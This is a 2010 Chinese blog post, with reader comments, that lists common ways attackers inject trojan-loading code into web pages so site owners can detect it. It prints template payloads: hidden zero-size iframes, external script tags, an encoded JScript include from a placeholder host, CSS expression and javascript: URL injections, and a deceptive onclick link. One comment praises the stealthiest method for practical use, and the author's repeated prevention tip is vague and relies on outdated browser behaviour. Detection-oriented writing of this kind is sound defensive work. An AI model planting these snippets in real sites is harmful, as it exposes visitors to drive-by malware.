常见的网页挂马方法

石头 发布于2010-4-18 21:41:11 分类: 关注互联网 已浏览574 网友评论15条 我要评论

    网页被挂马是最让站长头痛的一件事情,因为这说明已经有骇客拥有了你的网站的操作权限,面对这种情况,首先如果是虚拟主机用户应当积极与服务商联系运行查杀工具,彻底清除恶意代码和后门;而如果你拥有自己的主机,则应当积极检查程序是否有漏洞并立即升级到最新的补丁。所以作为站长就应当最早的发现网页被挂马的代码,下面是一些比较常见的挂马方式:

    (一)Iframe框架挂马

    这种挂马方式比较多,主要是以下这种格式:“<iframe src=木马地址 width=0 height=0></iframe>”,width=0和height=0是为了隐藏框架。

    (二)Script挂马

    与Iframe挂马平级,也比较常见,主要是以下这种格式:"<script src=木马地址></script>",当然也可以演变为Iframe挂马,"<script>document.write('<iframe src=木马地址 width=0 height=0></iframe>')</script>"。

    附上一张石头博客被Script挂马的截图:

    (三)Js加密变相挂马

    这种挂马方式与Script挂马差不多,惟一不同的就是使用了Encode隐藏了源JS的后缀,但同样可以达到执行代码的目的,主要是以下这种格式:“<script language='JScript.Encode' src=http://www.xxx.com/a.txt></script>”虽然表面上看只是引用了一个txt文件,但是依然可以顺利执行其中的代码。

    (四)Css挂马

    Css挂马主要是在Css文件中引用外部Js文件来实现。主要是以下这种格式:

 

body {background: url('javascript:document.write("<script src=木马地址>;</script>")')} 

 

     或者引用Css中的expression来实现执行Js的方式,比如:

a {start:expression(document.write('<script src=木马地址></script>'))}

    (五)高级欺骗挂马

    这种挂马方式与一般不同的在于它会用正规的网站来迷惑用户,在一次正常点击的同时,也达到执行木马代码的目的。以下是一个比较简单的例子:

<a href="/" Onclick="Do()">网站首页</a>

<script>function Do(){window.open("木马地址","网站首页")}</script>

     通过代码可以看出:虽然是一个比较正常的访问首页的链接,但是却在点击的同时激活了木马运行的函数,这样的挂马方式比较有迷惑性,如果你不具备基础的html和javascript知识就很难发现。

    网页挂马的方式千变万化,以上只是比较有代表性的挂马方式,要真正做到及时发现挂马代码就就当对网站源代码中的外部文件小心留神,因为除开你自己熟悉的外部调用文件外,其它外部文件就完全可以是木马!大家有其它被挂马方式的不防说说和大家一起分享。

已经有(15)位网友发表了评论,你也评一评吧!

原创文章转载请注明引自石头博客 http://www.stou.info/ 欢迎订阅石头博客

猜你也喜欢

  1. 发表于2010-04-20 20:11:28

    以前我也玩过,用免费空间,然后下载模板改了,放上去下载,不过还没被下载就删除了。Haha

    stone 于 2010-4-20 23:26:07 回复
    被服务器删除了吧

  2. 发表于2010-04-20 13:26:10

    防不胜防,真的
    唯有低调点了

    stone 于 2010-4-20 23:35:30 回复
    你说到也很重要的一点了,低调哈

  3. 发表于2010-04-20 08:40:27

    我也收集了好多种的常见的挂马方法。

  4. 发表于2010-04-20 08:31:21

    第一种挂马的方法容易被发现,还是第三种实用,其实有时候挂马还是看你网站的结构了,最好是采用调用的方式,更保密,不容易被发现。

    stone 于 2010-4-20 23:33:54 回复
    变相的很多,不过第三种确实是比较难以发现的哈

  5. 发表于2010-04-20 02:00:30

    要怎么预防哦,我上次就被挂上,空间差点儿被封!

    stone 于 2010-4-20 23:32:20 回复
    防范方法的话可以在CSS里用expression来定义iframe和script标签的src哈

  6. 发表于2010-04-19 20:53:21

    以前读书的时候,很喜欢研究这东西。
    现在已经无精力研究了

    stone 于 2010-4-20 23:31:43 回复
    现在忙啥呢

  7. 发表于2010-04-19 17:27:14

    技术性的东西我都是有看没懂,蹲地...

  8. 发表于2010-04-19 16:36:15

    学习了。可是怎么预防挂马的网站呢。

    stone 于 2010-4-20 23:31:09 回复
    防范方法的话可以在CSS里用expression来定义iframe和script标签的src哈

  9. 发表于2010-04-19 13:37:57

    恩··学习了··难怪很多网站会跳··

  10. 发表于2010-04-19 11:00:26

    额。。石头好邪恶。。偷偷教我就行了嘛

    stone 于 2010-4-20 23:36:03 回复
    嘿嘿,学到了没嘛
    老七 于 2010-4-21 10:29:26 回复
    学到个P。。

  11. 发表于2010-04-19 10:01:30

    呵呵,最近在网上也看到这样的文章哦
    这样方法有时真的不好查找出来哦
    以后还真的要注意

    stone 于 2010-4-20 23:30:36 回复
    主要是一些变相的挂马很难发现

  12. 发表于2010-04-19 09:51:13

    哥我的爱好者博客后台也发现有弹出了,不知道是我IE问题还是中招了。还没来得及排查。这个要好好学习一下。

    stone 于 2010-4-20 23:28:41 回复
    认真排查下嘛,我现在还一直没有找到原因,相当郁闷中。

  13. 发表于2010-04-19 09:51:11

    教了我也看不懂· 呵呵

    stone 于 2010-4-20 23:28:00 回复
    哪里不懂啊?
    jakeson 于 2010-4-21 10:27:36 回复
    代码一个不知道哦 ·杯具不石头哥

  14. 发表于2010-04-19 04:41:56

    石头童邪是在变相教人怎么挂马呢Adore

    stone 于 2010-4-20 23:27:37 回复
    我没有Cry

  15. 发表于2010-04-18 22:45:43

    网页挂马是个很严重的问题啊 防不胜防

    stone 于 2010-4-20 23:27:22 回复
    恩啦,一不小心就中招了。防范方法的话可以在CSS里用expression来定义iframe和script标签的src哈

称呼:

邮件:

网站:

验证:

记住我的信息,下次不用再输入小诀窍:按ctrl+y键可以启动搜狗云输入法